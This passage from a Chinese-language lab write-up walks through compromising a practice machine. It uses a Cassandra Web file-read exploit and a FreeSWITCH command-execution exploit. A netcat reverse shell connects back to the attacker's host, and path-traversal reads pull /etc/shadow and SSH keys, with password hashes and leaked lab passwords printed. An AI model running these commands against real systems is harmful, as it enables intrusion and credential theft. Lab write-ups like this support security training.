&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 84.87 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-22 03:50 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-stored-xss: Couldn&amp;#39;&lt;/span&gt;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;3000/tcp open ppp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-regsvc-dos:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Service regsvc in Microsoft Windows systems vulnerable to denial of service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; The service regsvc in Microsoft Windows &lt;span class="m"&gt;2000&lt;/span&gt; systems is vulnerable to denial of service caused by a null deference
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; pointer. This script will crash the service &lt;span class="k"&gt;if&lt;/span&gt; it is vulnerable. This vulnerability was discovered by Ron Bowes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; working on smb-enum-sessions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-061: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-054: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 119.91 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.133.240:3000/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;90&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.133.240:3000/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Bootstrap, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;thin&lt;span class="o"&gt;]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.133.240&lt;span class="o"&gt;]&lt;/span&gt;, Script, Title&lt;span class="o"&gt;[&lt;/span&gt;Cassandra Web&lt;span class="o"&gt;]&lt;/span&gt;, X-UA-Compatible&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;IE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;edge&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="cassandra-远程文件读取漏洞"&gt;Cassandra 远程文件读取漏洞
&lt;/h2&gt;&lt;p&gt;这里Nmap的扫描结果提示了打开80端口提示forbiden，打开3000端口是一个数据库管理的界面&lt;code&gt;Cassandra Web&lt;/code&gt;。然后139和445端口是smb协议的端口，还扫出来了一些基本信息，smb协议有很多漏洞，但是这个扫描的结果也提示了 &lt;code&gt;smb-vuln-ms10-061&lt;/code&gt; 和 &lt;code&gt;smb-vuln-ms10-054&lt;/code&gt;这两个最好用的漏洞不存在。扫描3000端口的目录没有发现有用的信息。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822154627338.png"&gt;
搜索3000端口对应的框架是否有漏洞，发现一个远程文件读取漏洞。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit Cassandra
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m linux/webapps/49362.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822162817786.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822162936899.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python 49362.py 192.168.133.240 /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python 49362.py 192.168.133.240 /proc/self/cmdline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;python 49362.py 192.168.133.240 /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822163251821.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822170009793.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;用户密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;cassie
SecondBiteTheApple330&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;但是ssh登录失败，也不是另一个用户的密码，还要继续搜索其他的配置文件。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822163548911.png"&gt;&lt;/p&gt;
&lt;h2 id="freeswitch命令执行漏洞"&gt;freeswitch命令执行漏洞
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822232912688.png"&gt;
官方完整的扫描中是存在8021端口的，这里是扫描漏掉了，所以最好还是用官方给的web kali扫描全部的端口一次，获得最全的端口。一下小节是官方给的Workthrough中的命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 让我们使用 `smbclient` 来检查一下。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;smbclient -N -L 192.168.133.240 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# `backup` 分享很有趣，让我们登录看看里面有什么&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;smbclient -N //192.168.133.240/backup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目录名称&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;curl -I http://192.168.133.240/backup/freeswitch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;curl -I http:/192.168.133.240/backup/freeswitch/etc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 后面官方尝试了上传文件，但是失败，密码错误&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;mkdir backup
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;sudo mount -t cifs //192.168.133.240/backup backup/ -o guest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; backup/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 挂载目录后找密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;find . -type f -name &lt;span class="s2"&gt;&amp;#34;*.xml&amp;#34;&lt;/span&gt; -exec grep -nH password &lt;span class="o"&gt;{}&lt;/span&gt; + &lt;span class="p"&gt;|&lt;/span&gt; wc -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;find . -type f -name &lt;span class="s2"&gt;&amp;#34;*.xml&amp;#34;&lt;/span&gt; -exec grep -nH password &lt;span class="o"&gt;{}&lt;/span&gt; + &lt;span class="p"&gt;|&lt;/span&gt; grep socket
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822233922179.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822233952232.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822234054553.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822234141543.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822234255394.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822234802784.png"&gt;
挂上了，但是找到的是默认密码，搜索最新的配置文件会存在那个在哪里。到下面这个网站找到密码会存放在哪里的配置文件里。
&lt;a class="link" href="https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Configuration/Default-Configuration_6587388/#confautoload_configs" target="_blank" rel="noopener"
 &gt;https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Configuration/Default-Configuration_6587388/#confautoload_configs&lt;/a&gt;
其实相对的只要把本地目录换远端目录就行，远端目录用的一定是现在在用的密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python 49362.py 192.168.133.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822164441135.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;端口和密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;8021
StrongClueConEight021&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit freeswitch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m windows/remote/47799.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;mv 47799.txt 47799.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ClueCon/StrongClueConEight021/g&amp;#34;&lt;/span&gt; 47799.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;python 47799.py 192.168.133.240 whoami
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;python 47799.py 192.168.133.240 ls
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;python 47799.py 192.168.133.240 &lt;span class="s2"&gt;&amp;#34;ls /home&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822170115056.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822165325214.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822165620927.png"&gt;&lt;/p&gt;
&lt;h2 id="反弹shell"&gt;反弹Shell
&lt;/h2&gt;&lt;p&gt;在cassie文件夹下找到一个id_rsa密钥，但是freeswitch账户没法读，现在可以执行命令的话，把shell弹回来再说。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python 47799.py 192.168.133.240 &lt;span class="s2"&gt;&amp;#34;nc -nv 192.168.45.187 3000 -e /bin/bash&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822222037303.png"&gt;
现在就可以用之前ssh登录失败的cassise账户直接su切换，因为ssh配置文件里写了只允许root和anthony账户登录，但是这两个我们又不知道密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822222251265.png"&gt;
这个下面的id_rsa利用失败，不知道是谁的ssh密钥文件，尝试了两个账户都失败。然后发现cassise用户可以用sudo的权限有&lt;code&gt;/usr/local/bin/cassandra-web&lt;/code&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822223104937.png"&gt;&lt;/p&gt;
&lt;h3 id="内网信息收集"&gt;内网信息收集
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 简单来说，这个命令就是用指定的配置启动了 Cassandra Web 管理工具，让用户可以通过 Web 界面管理 Cassandra 数据库&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# `cassandra - web`工具将以指定的用户名和密码启动，并监听在`0.0.0.0:4444`上，允许远程连接访问其 Web 界面来管理 Cassandra 数据库&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;sudo /usr/local/bin/cassandra-web -B 0.0.0.0:4444 -u cassie -p SecondBiteTheApple330
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 另一个shell运行下面命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 读取敏感信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;curl --path-as-is localhost:4444/../../../../../../../../etc/shadow
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.bash_history
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.ssh/id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822224144264.png"&gt;
这样就能得到的密钥文件了，而且这个密钥文件还放到了root文件夹下，也就是说能直接用这个密钥登录root。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 得到密码文件，但是这个长度一般是爆破不开的&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cassie:&lt;span class="nv"&gt;$6&lt;/span&gt;$/WeFDwP1CNIN34/z&lt;span class="nv"&gt;$9&lt;/span&gt;woKSLSZhgHw1mX3ou90wnR.i5LHEfeyfHbxu7nYmaZILVrbhHrSeHNGqV0WesuQWGIL7DHEwHKOLK6UX79DI0:19209:0:99999:7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;freeswitch:!:19209
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;anthony:&lt;span class="nv"&gt;$6$01&lt;/span&gt;NV0gAhVLOnUHb0&lt;span class="nv"&gt;$byLv3N95fqVvhut9rbsrYOVzi8QseWfkFl7&lt;/span&gt;.VDQ.26a.0IkEVR2TDXoTv/KCMLjUOQZMMpkTUdC3WIyqSWQ.Y1:19209:0:99999:7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 得到密钥文件&lt;/span&gt;
